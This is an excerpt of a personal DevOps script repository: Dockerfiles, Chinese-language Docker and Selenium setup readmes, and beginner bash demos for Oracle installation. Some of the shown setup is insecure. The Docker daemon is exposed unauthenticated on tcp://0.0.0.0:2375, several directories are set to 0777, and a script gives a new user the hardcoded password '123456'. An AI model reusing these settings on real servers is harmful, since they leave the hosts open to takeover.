| RUN chown -R www-data:www-data /var/www/html && \ 40 | cd /var/www/html && \ 41 | chmod 0777 dat && \ 42 | chmod 0777 -R work && \ 43 | chmod 0777 logs && \ 44 | mkdir -p results && \ 45 | chmod 0777 -R results && \ 46 | \ 47 | cd /var/www/html/settings && \ 48 | mv settings.ini.sample settings.ini && \ 49 | mv connectivity.ini.sample connectivity.ini && \ 50 | \ 51 | mkdir -p /var/log/supervisor && \ 52 | mkdir -p /scripts 53 | 54 | COPY docker/server/config/locations.ini /var/www/html/settings/locations.ini 55 | COPY docker/server/config/php.ini /usr/local/etc/php/ 56 | COPY docker/server/config/apache2.conf /etc/apache2/apache2.conf 57 | COPY docker/server/config/crontab /etc/crontab 58 | 59 | # config supervisor to run apache, cron, beanstalkd, ec2init 60 | COPY docker/server/config/supervisord.conf /etc/supervisor/conf.d/supervisord.conf 61 | COPY docker/server/config/supervisord/supervisord_apache.conf /etc/supervisor/conf.d/supervisord_apache.conf 62 | COPY docker/server/config/supervisord/supervisord_cron.conf /etc/supervisor/conf.d/supervisord_cron.conf 63 | COPY docker/server/config/supervisord/supervisord_beanstalkd.conf /etc/supervisor/conf.d/supervisord_beanstalkd.conf 64 | COPY docker/server/config/supervisord/supervisord_ec2init.conf /etc/supervisor/conf.d/supervisord_ec2init.conf 65 | 66 | # copy WPT scripts, set executable and create crontab 67 | COPY docker/server/scripts/ /scripts/ 68 | RUN chmod 755 /scripts/* && \ 69 | crontab /etc/crontab 70 | 71 | VOLUME /var/www/html/settings 72 | VOLUME /var/www/html/results 73 | VOLUME /var/www/html/logs 74 | 75 | EXPOSE 80 443 76 | 77 | CMD ["/usr/bin/supervisord"] -------------------------------------------------------------------------------- /docker/Dockerfile/wpt/wpt-service: -------------------------------------------------------------------------------- 1 | FROM docker.qadev.com/sqa-base/tomcat:8.5.61-jdk8-openjdk-slim-buster 2 | 3 | # 标记 4 | LABEL maintainer="jayzhen@qadev-inc.com" 5 | LABEL use-for="wpt" 6 | LABEL version="wpt-service" 7 | 8 | # 这个路径要和 com.webpage.service.YslowProcessService 的全局变量保持一致 9 | ENV CATALINA_BASE /usr/local/tomcat 10 | ENV YSLOW_HOME /data/tool/phatom/testjs/ 11 | ENV PHANTOM_HOME /data/tool/phatom/phantomjs1.9.8/bin/ 12 | 13 | RUN mkdir -p $YSLOW_HOME \ 14 | && mkdir -p $PHANTOM_HOME 15 | 16 | COPY ./doc/bin/yslow.js $YSLOW_HOME 17 | COPY ./doc/bin/phantomjs $PHANTOM_HOME 18 | 19 | RUN chmod 777 /data/tool/phatom 20 | 21 | # 将build的包配置到image中 22 | COPY ./web-page-service/target/ROOT.war $CATALINA_BASE/webapps/ROOT.war -------------------------------------------------------------------------------- /docker/Dockerfile/wpt/wpt-webapp: -------------------------------------------------------------------------------- 1 | FROM docker.qadev.com/sqa-base/tomcat:8.5.61-jdk8-openjdk-slim-buster 2 | 3 | # 标记 4 | LABEL maintainer="jayzhen@qadev-inc.com" 5 | LABEL use-for="wpt" 6 | LABEL version="wpt-webapp" 7 | 8 | # 将build的包配置到image中 9 | ENV CATALINA_BASE /usr/local/tomcat 10 | COPY ./web-page-webapp/target/ROOT.war $CATALINA_BASE/webapps/ROOT.war 11 | -------------------------------------------------------------------------------- /docker/readme-init-env.md: -------------------------------------------------------------------------------- 1 | # 使用docker-chrome进行UI自动化测试 2 | 3 | **docker-compose目录 `/qadev/odin/uts`** 4 | 5 | ## 机器安装docker(root权限的账号进行安装) 6 | 7 | 1. 查看是否已经安装docker,如果安装了`docker version`查看是否版本过低,如果满足就继续使用;不满足就卸载 8 | 9 | ```shell 10 | yum remove docker \ 11 | docker-client \ 12 | docker-client-latest \ 13 | docker-common \ 14 | docker-latest \ 15 | docker-latest-logrotate \ 16 | docker-logrotate \ 17 | docker-engine 18 | ``` 19 | 20 | 2. 卸载后,`yum -y update`更新软件仓库 21 | 3. 查看仓库里的docker内容`yum qadev docker` 22 | 4. 仓库里有了最新的docker组件后,进行安装,可以通过执行版本安装,也可以使用最新的 23 | 24 | ``` 25 | yum install docker-ce docker-ce-cli containerd.io 26 | ``` 27 | 28 | 5. 安装完了,查看一些`yum list installed | grep docker` 29 | 6. 安装完了,再看下版本对不对 30 | 31 | ``` 32 | https://docs.docker.com/engine/install/centos/ 33 | ``` 34 | 35 | 7. 先不要启动,修改docker的image和volumes的本地存储位置,修改(没有就新增)`/etc/docker/daemon.json` 36 | 37 | ```json 38 | sudo mkdir -p /etc/docker 39 | sudo tee /etc/docker/daemon.json <<-'EOF' 40 | { 41 | "registry-mirrors": ["https://je5rsr46.mirror.aliyuncs.com"] 42 | } 43 | EOF 44 | sudo systemctl daemon-reload 45 | sudo systemctl restart docker 46 | 47 | 48 | { 49 | "data-root":"/qadev/odin/.docker", // 文件存储地址 50 | "registry-mirrors":["https://je5rsr46.mirror.aliyuncs.com"] //镜像加速器 51 | } 52 | ``` 53 | 54 | 8. 启动docker服务`systemctl start docker.service` 55 | 9. 查看下具体的docker服务信息`docekr info`,存储位置是否正确 56 | 57 | ### 制作Dockerfile 58 | 59 | 如果不需要vnc视图,可以选择普通版的docker-chrome,debug版本的chrome带有vnc服务,比较耗费资源 60 | 61 | ```text 62 | FROM selenium/standalone-chrome-debug:2.53.1 63 | MAINTAINER jayzhen 64 | 65 | USER root 66 | 67 | #===== 68 | # chinese 69 | #===== 70 | 71 | RUN apt-get update \ 72 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \ 73 | && apt-get clean \ 74 | ``` 75 | 76 | ### 制作image 77 | 78 | ```text 79 | docker build -f ./dockerfile/chrome-zh-2.53.1 -t selenium/standalone-chrome-debug-zh:2.53.1 . 80 | ``` 81 | 82 | ### docker-compose 进行编排 83 | 84 | 查看版本 85 | 如果pip安装失败 86 | 87 | ```shell 88 | curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.4/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose 89 | chmod +x /usr/local/bin/docker-compose 90 | /usr/local/bin/docker-compose -version 91 | /usr/local/bin/docker-compose up -d 92 | ``` 93 | 94 | 如果想添加一个新的docker容器,就复制下面内容就行 95 | 注意: 需要修改的是端口`ports`里的冒号前面端口是需要给uts使用的,后面的端口号docker内容的,不用改,只用改前面的端口号即可 96 | 97 | ```text 98 | web-c-1: 99 | container_name: chrome 100 | image: selenium/standalone-chrome-debug-zh:2.53.1 101 | restart: always 102 | dns: 103 | - 8.8.8.8 104 | ports: 105 | - "14444:4444" 106 | - "15900:5900" 107 | extra_hosts: 108 | - "wap.qadev.com:10.0.0.0" 109 | volumes: 110 | - /usr/share/zoneinfo/Asia/Shanghai:/etc/localtime 111 | - /dev/shm:/dev/shm 112 | environment: 113 | - LOGSPOUT=ignore 114 | cpu_shares: 256 115 | mem_limit: 2G 116 | ``` 117 | -------------------------------------------------------------------------------- /docker/readme.md: -------------------------------------------------------------------------------- 1 | # UTS自动化测试平台任务机docker环境部署方案 2 | 3 | ## 本工程主要用于归集和管理各个服务器上的docker服务 4 | 5 | ### 依赖(base in linux environment) 6 | 7 | 1. python 8 | 2. docker 9 | 3. docker-compose 10 | 4. [docker-selenium](https://github.com/SeleniumHQ/docker-selenium) 11 | 12 | ## 1. 新的机器上如何部署 13 | 14 | * 安装python(主要使用pip,版本不是很重要 >= 2,即可) 15 | > 一般这个服务器上默认都有安装,只要有就行了,本方案主要使用pip工具, 16 | `python -V`检查下有没有python,然后`pip list`检查下有没有pip工具 17 | 18 | * 安装docker(这个可以只用使用yum安装,走的是qadev的镜像源,一般会得到最新版本) 19 | 提前`docker info`检查下有没有安装 20 | >1. 这里需要注意的是linux服务器内核必须大于3.0,否则安装不上: uname -r查看 21 | >2. 安装完成后,记得修改docker的镜像存储路径,如果默认的存储路径所在的盘符内存比较大,可以不用改(每个docker版本的改法不一样,可看官网[dockerd](https://docs.docker.com/engine/reference/commandline/dockerd/)) 22 | 23 | `/etc/docker/daemon.json`文件,没有就创建,然后重启docker服务【建议:不开放docker api服务端口】 24 | 25 | ``` 26 | {"data-root":"/qadev/odin/.docker", 27 | "registry-mirrors":["https://je5rsr46.mirror.aliyuncs.com"], 28 | "hosts":[ 29 | "unix:///var/run/docker.sock", 30 | "tcp://0.0.0.0:2375" 31 | ] 32 | } 33 | ``` 34 | `service docker restart` 一般都是root用户重启,普通用户可能会有问题,可看具体服务器的表现,如果服务是root启动的,就用root重启 35 | 36 | **注意:如果服务器上有网页前端服务,基本上都已经拥有docker环境了** 37 | 38 | * 安装docker-compose(用于编排docker, 版本暂无要求) 39 | 40 | `pip list`看下是否已经安装了`docker-compose`包,如果没有安装,执行命令安装`pip install docker-compose`,如果安装中间出现错误,可能是因为网速过慢或者被墙,可以使用国内镜像 `pip install -i https://mirrors.aliyun.com/pypi/simple docker-compose` 41 | 42 | ***到此基本上依赖的环境都安装完成了*** 43 | 44 | *** 45 | 46 | ## 2. 设计dockerfile和docker-compose 47 | 48 | 可参考已有的机器配置 49 | 50 | **注意命名规则** 51 | > 每个机器都以机器的ip创建文件夹,文件夹下内容格式如下: 52 | 53 | ``` 54 | . 55 | └── 10.*.*.* 56 | ├── docker-compose.yml 57 | ├── dockerfile 58 | │   └── chrome-dbg-zh-3.141 59 | └── readme-wap-frontend.md 60 | ``` 61 | `docker-compose.yml` 用于设计docker实例的内容 62 | `dockerfile/chrome-dbg-zh-3.141` 构建镜像的镜像文件 63 | `readme-wap-frontend.md` 用于直观看出当前配置是哪个项目组的,还有就是文件内容用于记录需求改动 64 | 65 | *** 66 | 67 | ## GIT使用局部方式下载项目内容 68 | 69 | + 本地`git init`实例化下项目 70 | + 然后修改配置文件 `git config core.sparsecheckout true` 71 | + 将项目下指定的文件写入到配置文件中`echo apps/sq-82.209/* >> .git/info/sparse-checkout` 72 | + 然后为这个项目添加一个远程仓库`git remote add origin https://qadev@git.qadev.com/jayzhen/docker-sg-community.git` 73 | + 然后拉取文件`git pull origin master` 74 | 75 | *** 76 | 77 | ## 管理设计:使用portainer容器来各个机器上的容器内容 78 | 79 | 访问`http://uts.qadev-inc.com:19000`,可看到当前机器上有哪些机器或集群实例 80 | 81 | 82 | **注意以下问题** 83 | 84 | * 使用swarm创建集群 85 | 86 | >1.关于manager和worker的创建 docker swarm init -h 87 | 2.如何介入集群,如果离开和删除节点 docker swarm -h 88 | 3.如何解散集群docker swarm leave --force 89 | 90 | ``` 91 | 排空节点上的集群容器 。 92 | docker node update --availability drain g36lvv23ypjd8v7ovlst2n3yt 93 | 94 | 主动离开集群,让节点处于down状态,才能删除 95 | docker swarm leave 96 | 97 | 删除指定节点 (管理节点上操作) 98 | docker node rm g36lvv23ypjd8v7ovlst2n3yt 99 | 100 | 管理节点,解散集群 101 | docker swarm leave --force 102 | ``` 103 | 104 | * 使用portainer/agent添加集群到 portainer上 105 | * 使用`tcp://0.0.0.0:2375`方式添加到 portainer上 106 | 107 | **对于portainer的组管理、用户管理、模板管理** 108 | 109 | ## 自定义的uts-docker-chrome 110 | 111 | 这个前提是在要操作的宿主机上build对于的容器镜像 112 | 113 | 1. 可以通过portainer添加docker实例 114 | 2. 通过命令行连接,可修改docker实例的host`/etc/hosts`和ulimit`ulimit -c 0`限制 115 | 116 | ## 通过qadev的harbor来自动部署docker-chrome(方案可行) 117 | 118 | [Harbor](https://docker.qadev.com/) 119 | 120 | 这里涉及到`docker login`、`docker push`、`docker build`等命令 121 | 122 | ``` 123 | 优先build:tag名称规则,见下方 124 | docker build -f chrome-dbg-zh-3.141 -t docker.qadev.com/uts/chrome:3.141.0 . 125 | 126 | 然后推送: 127 | docker push docker.qadev.com/uts/chrome:3.141.0 128 | ``` 129 | 130 | ``` 131 | 1、登录 132 | docker login http://xxxxx.com 133 | 134 | 2、登录私有hub创建项目 135 | 例如项目叫:abc-dev 136 | 137 | 2、给镜像打tag 138 |   docker tag 2e25d8496557 xxxxx.com/abc-dev/arc:1334 139 | 140 |   2e25d8496557:IMAGE ID,可以用docker images 查看 141 |   xxxxx.com:私有hub域名 142 |   abc-dev:项目名称 143 |   arc:镜像名称 144 |   1334:镜像版本号 145 | 146 | 4、推送 147 |   docker push xxxxx.com/abc-dev/arc:1334   148 | ``` 149 | 150 | 151 | docker run --add-host=wap.qadev.com:10.1.1.1 --add-host=m.qadev.com:10.1.1.1 152 | 153 | 154 | 155 | ## 删除不掉容器文件占用,其实是网络问题。 156 | 157 | 解决办法如下 158 | 159 | 1、docker stop 容器ID\容器名   先暂停 160 | 161 | 2、docker network disconnect --force bridge 容器ID\容器名   清除网络 162 | 163 | 3、docker rm -f 容器ID\容器名  再强制删除 164 | 165 | 166 | @TODO /var/cache/fontconfig# ls | xargs -n 10 rm -f 167 | 168 | 169 | ## uts 代理机器配置 170 | 171 | docker build -f browsermob -t docker.qadev.com/uts/browsermob:2.14 . 172 | 173 | docker run -it -p 11011:8080 --name ust-proxy docker.qadev.com/uts/browsermob:2.14 174 | 175 | ## 20201020 176 | 批量清理和重置uts-docker 177 | 178 | ``` 179 | cd /qadev/odin/uts/ 180 | docker-compose -f compose-uts.yml stop 181 | docker-compose -f compose-uts.yml rm 182 | docker-compose -f compose-uts.yml up -d 183 | ``` 184 | 185 | ### 20210120 使用docker-slim精简images 186 | 187 | docker.qadev.com/sqa-base/tomcat 188 | 189 | /Users/apple/tools/docker-slim build --target docker.qadev.com/sqa-base/tomcat:8-jdk8 --tag docker.qadev.com/sqa-base/tomcat:8-jdk8-slim --http-probe=false 190 | 191 | 使用portainer+docker-socket+仓库模式部署服务 -------------------------------------------------------------------------------- /jenkins/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/jenkins/.DS_Store -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Shell Script Repository 2 | 3 | ## 20180623 4 | 5 | 1. 主要包含window环境下的bat和cmd脚本、linux环境下的sh脚本 6 | 2. 供于工作过程的学习和运维工作使用 7 | 8 | ## 20181126 9 | 10 | 1. 面对脚本的demo和测试,需要有规范的记录:比如命名、归档规范 11 | 12 | ## 20190627 删除一些没用的脚本(枯叶拂去) 13 | 14 | 分类来管理整个脚本集,包含`bat`、`fiddler`、`mobile`、`shell` 15 | 16 | ## 20240709 添加 docker 和 jenkins 使用的脚本 17 | 18 | - 日常测试使用的 dockerfile 19 | - cicd 使用的 jenkins pipeline 20 | -------------------------------------------------------------------------------- /shell/demo/accept_cmd_param.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | #parameter 3 | echo "the files name is $0" 4 | echo "the first parameter is $1" 5 | echo "the second parameter is $2" 6 | echo "all parameter are $@" 7 | echo "there have $# in files" 8 | -------------------------------------------------------------------------------- /shell/demo/awk_content.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ip='192.168.1.1';export ip; 3 | pwd 4 | f='file.txt' 5 | cat $f 6 | #$(awk -v vars="$ip" '$1~/wang/{$2=vars}1' $f 1<>$f) 7 | $(awk '$1~/wang/{$2=ENVIRON["ip"]}1' $f 1<>$f) 8 | cat $f 9 | -------------------------------------------------------------------------------- /shell/demo/calc_file_num.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | #计算/etc下有多少文件 3 | pwd 4 | cd /etc 5 | filesname=`ls -l | wc -l` 6 | echo "there are ${filesname} files under /etc" 7 | -------------------------------------------------------------------------------- /shell/demo/calc_func: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | jia() 3 | { 4 | x=$1 5 | y=$2 6 | s=$((x+y)) 7 | echo "运算结果为:$s" 8 | } 9 | jian() 10 | { 11 | x=$1 12 | y=$2 13 | if [ "$x" -ge "$y" ];then 14 | s=$((x-y)) 15 | echo "运算结果为:$s" 16 | else 17 | s=$((y-x)) 18 | echo "运算结果为:$s" 19 | fi 20 | } 21 | cheng() 22 | { 23 | x=$1 24 | y=$2 25 | if [ $x -eq 0 -o $y -eq 0 ];then 26 | 27 | echo "乘数为0,无法计算" 28 | else 29 | s=$((y*x)) 30 | echo "运算结果为:$s" 31 | fi 32 | 33 | 34 | } 35 | chu() 36 | { 37 | x=$1 38 | y=$2 39 | if [ $x -eq 0 -o $y -eq 0 ];then 40 | 41 | echo "除数为0,无法计算" 42 | elif (( $x > $y));then 43 | s=$((x/y)) 44 | echo "运算结果为:$s" 45 | else 46 | s=$((y/x)) 47 | echo "运算结果为:$s" 48 | fi 49 | } 50 | echo "请输入第一个数" 51 | read a 52 | echo "请输入运算符号" 53 | read m 54 | echo "请输入第二个数" 55 | read b 56 | case "$m" in 57 | "+")jia $a $b;; 58 | "-")jian $a $b;; 59 | "*")cheng $a $b;; 60 | "/")chu $a $b;; 61 | *)echo "输入有误,退出" 62 | esac 63 | 64 | 65 | -------------------------------------------------------------------------------- /shell/demo/call_func.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | #hello 3 | hello() 4 | { 5 | echo "today is `date`" 6 | } 7 | hello 8 | -------------------------------------------------------------------------------- /shell/demo/check_file: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ########################### 4 | checkfile() 5 | { 6 | cd /tmp 7 | myfile="oracle_10201_database_linux32.zip" 8 | if [ ! -f "$myfile" ];then 9 | echo "此文件不存在" 10 | cd /mnt/hgfs/app 11 | echo "正在拷贝*****" 12 | cp $myfile /tmp 13 | 14 | fi 15 | echo "此文件存在" 16 | cd /tmp 17 | unzip $myfile 18 | if [ -d "database" ];then 19 | 20 | cd /tmp/database 21 | 22 | ./runInstaller 23 | 24 | fi 25 | 26 | 27 | } 28 | 29 | ###########################33 30 | if [ "$USER" == "tester" ];then 31 | 32 | echo "是tester" 33 | checkfile 34 | else 35 | 36 | echo "不是tester" 37 | exit 38 | 39 | fi 40 | -------------------------------------------------------------------------------- /shell/demo/check_permission.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | checkenv() 3 | { 4 | echo "Oracle 开始安装前的配置" 5 | echo "确定当前登录的是超级管理员 root 用户,如下内容都是在 root 下面进行。" 6 | echo "**********************************************" 7 | #****判断当前用户登录状态********* 8 | if [ "$UID" -eq "0" ];then 9 | echo "经核实当前登录的是超级管理员 root 用户" 10 | else 11 | echo "当前登录不是root 用户,请退出登录." 12 | 13 | fi 14 | echo "*********************************************" 15 | } 16 | checkgrp() 17 | { 18 | 19 | echo "新建管理组" 20 | groupadd dba 21 | 22 | if [ "$(grep dba /etc/group)" != "" ];then 23 | echo "管理组创建成功" 24 | else 25 | echo "管理组创建失败" 26 | exit 1 27 | 28 | fi 29 | echo "新建安装组" 30 | groupadd oinstall 31 | if [ "$(grep oinstall /etc/group)" != "" ];then 32 | echo "安装组创建成功" 33 | else 34 | echo "安装组创建失败" 35 | exit 1 36 | fi 37 | 38 | } 39 | 40 | addtester() 41 | { 42 | echo "新建用户,用户录属于 dba 和 oinstall" 43 | useradd tester -g oinstall -G dba 44 | if [ "$(grep tester /etc/passwd)" != "" ];then 45 | echo "新建用户成功" 46 | else 47 | echo "新建用户失败" 48 | exit 1 49 | 50 | fi 51 | echo "*********************************************" 52 | 53 | echo "修改用户tester密码" 54 | passwd tester 55 | echo "密码修改完成" 56 | } 57 | checkdiroracle() 58 | { 59 | echo "*********************************************" 60 | echo "2.利用 root 用户建立安装目录并分配权限" 61 | echo "新建 oracle 安装目录 " 62 | mkdir -p /oracle/product/10.2.0/db_1 63 | mydirpath="/oracle/product/10.2.0/db_1" 64 | if [ -x "$mydirpath" ];then 65 | echo "Oracle 安装目录创建成功" 66 | else 67 | mkdir -p /oracle/product/10.2.0/db_1 68 | fi 69 | echo "修改 oracle 安装目录属主和属组" 70 | chown -R tester.oinstall /oracle 71 | echo "修改 oracle 安装目录操作权限" 72 | chmod 755 -R /oracle 73 | echo "******************修改完成*********************" 74 | } 75 | #&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 76 | checkenv 77 | 78 | checkgrp 79 | 80 | addtester 81 | 82 | checkdiroracle 83 | -------------------------------------------------------------------------------- /shell/demo/condition_case.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | #grade 3 | read -p "请输入你的分数:" grade 4 | case $grade in 5 | [1-3]) 6 | echo "your grade is D" 7 | ;; 8 | [4-6]) 9 | echo "your grade is C" 10 | ;; 11 | [7-9]) 12 | echo "your grade is B" 13 | ;; 14 | *) 15 | echo "your grade is A" 16 | ;; 17 | esac 18 | -------------------------------------------------------------------------------- /shell/demo/condition_for.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | for loop in 1 2 3 4 5 6 3 | do 4 | echo $loop 5 | done 6 | -------------------------------------------------------------------------------- /shell/demo/condition_while.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | #while 3 | i=0 4 | s=0 5 | while [ "$i" != "100" ] 6 | do 7 | i=$(($i+1)) 8 | s=$(($s+i)) 9 | done 10 | echo "$s" 11 | -------------------------------------------------------------------------------- /shell/demo/create_file.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | #######createfile in dir######### 3 | createfile() 4 | { 5 | read -p "please input your file:" file 6 | if [ -f "$file" ] ; then 7 | echo "the file is exist" 8 | else 9 | read -p "create? create input yes,not create input no" a 10 | case $a in 11 | "yes")cd $1 12 | touch $file 13 | ;; 14 | "no") 15 | echo "quit1" 16 | ;; 17 | *) 18 | echo "input error" 19 | ;; 20 | esac 21 | fi 22 | } 23 | read -p "please input your dir:" dir 24 | if [ -d "$dir" ] ; then 25 | echo "the dir exist" 26 | createfile $dir 27 | else 28 | echo "there is no dir" 29 | fi 30 | -------------------------------------------------------------------------------- /shell/demo/create_user.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | #########create dir######################### 3 | createdir() 4 | { 5 | mydir="/oracle/product/10.2.0/db_1" 6 | mkdir -p $mydir 7 | cd / 8 | if [ -d "$mydir" ] ; then 9 | echo "directory success!!" 10 | chown -R tester.oinstall /oracle 11 | chmod -R 755 /oracle 12 | else 13 | echo "directory fail!!" 14 | fi 15 | 16 | 17 | } 18 | ##########create group############# 19 | creategrp() 20 | { 21 | groupadd dba 22 | if [ "$(grep "dba" /etc/group | cut -d ":" -f "1")" == "dba" ] ; then 23 | echo "dba success" 24 | groupadd oinstall 25 | if [ "$(grep "oinstall" /etc/group | cut -d ":" -f "1" )" == "oinstall" ] ; then 26 | echo "oinstall success" 27 | createuser #create user 28 | else 29 | echo "oinstall fail!" 30 | fi 31 | else 32 | echo "dba fail!" 33 | fi 34 | 35 | 36 | } 37 | #################################### 38 | createuser() 39 | { 40 | useradd tester -m -g oinstall -G dba 41 | passwd tester 42 | if [ "$(grep "tester" /etc/passwd | cut -d ":" -f "1")" == "tester" ] ; then 43 | echo "tester success!!" 44 | else 45 | echo "tester fail!!" 46 | fi 47 | } 48 | ##################################### 49 | editenv() 50 | { 51 | cd /home/tester 52 | sed -i "10aORACLE_BASE=/oracle" ./.bash_profile 53 | sed -i "11aORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1" ./.bash_profile 54 | sed -i "12aORACLE_SID=orcl" ./.bash_profile 55 | sed -i "13aLD_LIBRARY_PATH=$ORACLE_HOME/lib:/usr/lib" ./.bash_profile 56 | sed -i "14aPATH=$PATH:$ORACLE_HOME/bin:$HOME/bin" ./.bash_profile 57 | sed -i "15aexport ORACLE_BASE" ./.bash_profile 58 | sed -i "16aexport ORACLE_HOME" ./.bash_profile 59 | sed -i "17aexport ORACLE_SID" ./.bash_profile 60 | sed -i "18aexport LD_LIBRARY_PATH" ./.bash_profile 61 | sed -i "19aexport PATH" ./.bash_profile 62 | source ./.bash_profile 63 | 64 | } 65 | 66 | 67 | 68 | 69 | 70 | #################################### 71 | if [ "$USER" == "root" ] ; then 72 | echo "I am root!" 73 | creategrp #create group 74 | createdir 75 | editenv 76 | else 77 | echo "I am not root!" 78 | exit 79 | fi 80 | -------------------------------------------------------------------------------- /shell/demo/install_001(1): -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ################################################ 4 | createdir() 5 | { 6 | mydir="/oracle/product/10.2.0/db_1" 7 | mkdir -p $mydir 8 | cd / 9 | if [ -d "$mydir" ];then 10 | echo "创建成功"# >> /tmp/a >> /tmp/a 11 | chown -R tester.oinstall /oracle 12 | chmod -R 755 /oracle 13 | ls -l >> /tmp/a 14 | else 15 | echo "创建失败"# >> /tmp/a 2>> /tmp/b 16 | fi 17 | 18 | 19 | } 20 | ################################################# 21 | createuser() 22 | { 23 | useradd tester -g oinstall -G dba 24 | 25 | passwd tester 26 | 27 | if [ "$(grep "tester" /etc/passwd | cut -d ":" -f "1")" == "tester" ];then 28 | 29 | echo "用户成公" 30 | else 31 | 32 | echo "用户失败" 33 | 34 | 35 | fi 36 | 37 | 38 | } 39 | 40 | ######################创建######################## 41 | creategrp() 42 | { 43 | groupadd dba 44 | if [ "$(grep "dba" /etc/group | cut -d ":" -f "1")" == "dba" ];then 45 | echo "dba创建成共" 46 | groupadd oinstall 47 | if [ "$(grep "oinstall" /etc/group | cut -d ":" -f "1")" == "oinstall" ];then 48 | echo "oinstall创建成共" 49 | 50 | createuser 51 | else 52 | echo "oinstall 创建失败" 53 | fi 54 | 55 | else 56 | echo "dba创建失败" 57 | fi 58 | 59 | 60 | } 61 | ###################################################### 62 | editenv() 63 | { 64 | cd /home/tester/ 65 | # vi ./.bash_profile 66 | sed -i "10aORACLE_BASE=/oracle" ./.bash_profile 67 | sed -i '11aORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1' ./.bash_profile 68 | sed -i "12aORACLE_SID=orcl" ./.bash_profile 69 | sed -i '13aPATH=$PATH:$HOME/bin:$ORACLE_HOME/bin' ./.bash_profile 70 | sed -i '14aLD_LIBRARY_PATH=$ORACLE_HOME/lib:/usr/lib' ./.bash_profile 71 | sed -i "15aexport ORACLE_BASE" ./.bash_profile 72 | sed -i "16aexport ORACLE_HOME" ./.bash_profile 73 | sed -i "17aexport ORACLE_SID" ./.bash_profile 74 | sed -i '18aexport PATH' ./.bash_profile 75 | sed -i "19aexport LD_LIBRARY_PATH" ./.bash_profile 76 | 77 | source ./.bash_profile 78 | if [ "$ORACLE_BASE" == "/oracle" ];then 79 | 80 | echo "环境变量修改成工" 81 | 82 | else 83 | 84 | echo "环境变量修改失败" 85 | 86 | fi 87 | 88 | 89 | 90 | } 91 | 92 | ##########################用户######################### 93 | if [ "$USER" == "root" ];then 94 | 95 | echo "是root" 96 | #creategrp 97 | else 98 | 99 | echo "否" 100 | exit 101 | 102 | fi 103 | ####################################################### 104 | #createdir 105 | editenv 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | -------------------------------------------------------------------------------- /shell/demo/judge_dir_null.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | #判断目录是否为空 3 | director="/etc/abc" 4 | com=`ls $director` 5 | if [ "$director -z" ] ; then 6 | echo "$director is null" 7 | else 8 | echo "$director is not null" 9 | fi 10 | 11 | 12 | 13 | DIRECTORY="/root/dir4" 14 | com="`ls $DIRECTORY`" 15 | if [ "$com" == "" ] ; then 16 | echo "$DIRECTORY is empty" 17 | else 18 | echo "$DIRECTORY is not empty" 19 | fi 20 | -------------------------------------------------------------------------------- /shell/demo/oracle_install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #program:tester用户安装oracle数据库 3 | 4 | #user: luo shaomu 5 | #history: 2014-8-4 6 | #检查登录帐号是否为超管 7 | function checkUser() 8 | { 9 | if [ $UID -eq 0 ]; then 10 | echo "$USER 是超级管理员" 11 | else 12 | echo "$USER 不是超级管理员" 13 | echo "准备切换到root帐号,请输入root帐号密码,然后重新执行该脚本" 14 | su - root 15 | fi 16 | } 17 | #检查组是否存在 18 | function checkGroup() 19 | { 20 | if [ "$(cut -d ":" -f 1 /etc/group | grep "$1")" = "$1" ]; then 21 | echo "$1 组已经存在,不需要创建" 22 | else 23 | echo "$1 组不存在,准备创建$1组" 24 | groupadd $1 25 | echo "$1 组正在创建中...." 26 | echo "$1 组创建成功...." 27 | fi 28 | } 29 | 30 | #检查oracle用户是否存在,并分配到指定的dba,oinstall组中 31 | function checkOracleUser() 32 | { 33 | if [ "$(cut -d ":" -f 1 /etc/passwd | grep "$1")" = "$1" ]; then 34 | echo "$1用户已经存在,并修改所属组" 35 | usermod -g $2 -G $3 $1 36 | echo "$1用户修改成功,并分配到 $2 $3 组中..." 37 | else 38 | echo "$1用户不存在,准备创建该用户..." 39 | useradd -g $2 -G $3 $1 40 | echo "$1:123456" | chpasswd 41 | echo "$1用户创建成功,并分配到 $2 $3 组中..." 42 | fi 43 | } 44 | #检查oracle安装路径,并修改权限 45 | function checkInstallPath() 46 | { 47 | if [ ! -d "$1" ]; then 48 | echo "$1 目录不存在,准备新建该目录..." 49 | mkdir -p $1 50 | echo "$1 目录创建成功..." 51 | fi 52 | #修改/oracle目录的拥有者和所属组 53 | chown -R tester:oinstall /oracle 54 | echo "修改/oracle 拥有者和所属组成功" 55 | #修改/oracle目录的权限 56 | chmod -R 755 /oracle 57 | echo "修改/oracle目录权限成功" 58 | } 59 | function checkOracleInstallUser() 60 | { 61 | if [ "$USER" = "tester" ]; then 62 | echo "$USER 是安装Oracle的帐号..." 63 | else 64 | echo "$USER 不是安装oracle的帐号,准备切换到安装oracle的帐号" 65 | if [ $UID -ne 0 ]; then 66 | echo "请输入安装oracle帐号的密码" 67 | fi 68 | su tester 69 | fi 70 | } 71 | function checkUserEnviroment() 72 | { 73 | cd 74 | sed -i 